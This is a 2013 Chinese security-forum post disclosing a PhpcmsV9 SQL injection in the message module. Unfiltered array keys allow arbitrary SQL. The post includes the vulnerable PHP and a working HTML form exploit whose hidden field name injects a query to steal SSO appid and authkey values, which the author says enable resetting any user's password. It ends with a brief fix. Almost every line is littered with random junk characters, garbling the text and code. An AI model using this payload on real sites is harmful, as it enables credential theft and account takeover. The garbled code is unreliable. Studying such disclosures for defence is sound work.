中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:! g/ C# Q  ~9 ^# Y1 O

1 M% Q) a6 d+ b0 E$ T  |第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
# D3 ^+ s2 S+ Y
0 q" c1 \) ?  c7 ?* H; ^! ~, m明天再更新下一个漏洞。$ m5 T. E5 [  [4 w& ]: `, v6 r
详细说明:% @4 u. A( [9 o: x
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
! G7 b6 u& }. {# n' Z; k: p* N* R+ ^/ @( U3 v
$messageid = $this->message_db->insert($_POST['info'],true);
  [; U0 h. u. l5 Z* B) Z' n- M2 |4 T0 i

3 x+ F+ G. I5 Sinsert方法是key value的,代码如下:
, Q! c* x8 {, K/ |4 E0 r' a6 e* a. W
public function insert($data, $table, $return_insert_id = false, $replace = false) {6 r) s3 C2 b, o( y6 R+ n; P3 T( G
                if(!is_array( $data ) || $table == '' || count($data) == 0) {& T2 V) M: K. ^9 L9 ~
                        return false;5 j( ]$ ~( }. l+ p0 ]
                }# B6 ^" u- x7 z# ]' O5 x  z5 Z
                ! y3 N5 r8 E. J4 }+ {1 n
                $fielddata = array_keys($data);  ~: Q3 ~0 w& J$ r; Z' B; d6 i0 P
                $valuedata = array_values($data);# ~5 |( P2 @5 A3 Y% z
                array_walk($fielddata, array($this, 'add_special_char'));
; f  l6 R( C" Q) f: Q+ j# T# Z) y                array_walk($valuedata, array($this, 'escape_string'));9 t+ L1 o+ w5 F9 N/ ]( Q4 `: G
               
  }" r  U- Z$ }  d                $field = implode (',', $fielddata);
  y/ M9 r7 Q1 l* J- D, w/ X' k2 \                $value = implode (',', $valuedata);
' ?  L- l: V% D, _2 H
8 D/ h$ P, w5 j2 O2 w5 e6 b/ a% @, r- Z                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';5 \* b9 `, G5 h7 r( ]7 J2 }
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';! P% |7 ]' l7 d$ j# b5 o0 q
                $return = $this->execute($sql);% Q+ E1 ]6 ^6 J
                return $return_insert_id ? $this->insert_id() : $return;' y/ ^2 r  C% R$ A$ D* K
        }& c/ l' I7 U# a9 [3 c0 r* u
8 ^4 n5 l8 I3 ?% A3 y# j6 H

- K7 n  }/ L! I% m0 a* ]7 j. a$ R嗯,很遗憾的是
0 |( d" s7 ]$ w& S: @: X3 p: s1 ?' q1 b3 a0 o5 J
array_walk($fielddata, array($this, 'add_special_char'));
2 Y1 Y; l, p+ P' j& v# i! R, ~% W: }& p2 i  ?2 n$ K

# L, w0 d, T$ d) B# w中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。' G: F0 |5 g% E8 z# @
1 Q+ U3 w2 u( k
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。- Q9 U4 ?; S- j+ c3 N3 L. r
% x- w" h- i4 z$ m, F* e' }
漏洞证明:
! d; s  a/ H+ e* |% d' ]0 h) X读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。1 G" d" z0 x1 Y4 x4 O( Z" ~- i8 w
[attach]200[/attach]4 o% i2 p/ X. Q/ Y
1 w# G/ z0 |  R0 n
表单如下:用户名什么的得自己改一改。- D  y6 }, s) a$ N- r
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">& ?4 C  B1 y0 X9 Z7 ]8 y+ K
<table width="100%" cellspacing="0" class="table_form">4 {* r% v/ K% m8 d
<tr>
+ W% k& D0 D  @( D<th>标 题:</th>3 y( x  ~7 k8 B1 ~
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
* W( T4 D4 G; b+ ^</tr> 0 e- S, h9 m* d# G7 S
<tr>) z# m  e& O1 {1 ]  \! E
<th>内 容:</th>
4 B$ j: ]1 e% x, c3 _<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>( R- d# ]7 x5 X
</tr>
4 w8 U" ~( q; l1 D9 D<input type="hidden" name="info[replyid]" value="2" /> 6 g! N* `5 E4 s( h$ q1 x& Y) i
<input type="hidden" name="info[send_to_id]" value="cc" />
) N% l% N+ m, o3 k) E$ J; l<input type="hidden" name="info[send_from_id]" value="hh">0 y. W0 C2 K8 q% n1 k  }
<!-- 漏洞的利用重点在这里开始 -->3 _- B4 E5 ?6 A* `# R2 l
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
8 G& c6 }- r; a- @<!-- 漏洞的利用重点在这里结束 -->
. J8 v6 o5 g; V0 r<tr>
' s" `. M5 c$ U( O: w( G<th>验证码:</th>
3 X) U  x. C9 U+ \<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
/ C9 L. @$ B$ K4 `. _</tr>' P0 M. a/ ^3 ^' X, Z
<tr>
! k7 z2 c  U. ]: g6 M5 F/ S! M<td></td>
. p# ?2 m8 E2 w: t<td colspan="2"><label>
1 [: g* p% c9 j0 ?8 Q<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
0 Q+ T- v; b4 E/ b$ |</label></td>
0 r0 ~2 A- K: @. `2 l</tr>
$ C, \, w9 F* q3 e2 S* k/ c0 e</table>: v  R$ y" d. r
</form>+ f7 K, \4 ]: V
在add_special_char函数内对key做过滤就可以了。$ o, J- O/ @7 F) l/ W
' M+ C  q3 v8 s8 {6 ~2 u* _9 y

! t* j- V# V  D+ o1 Y2 H9 ?" U* k0 n/ e





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2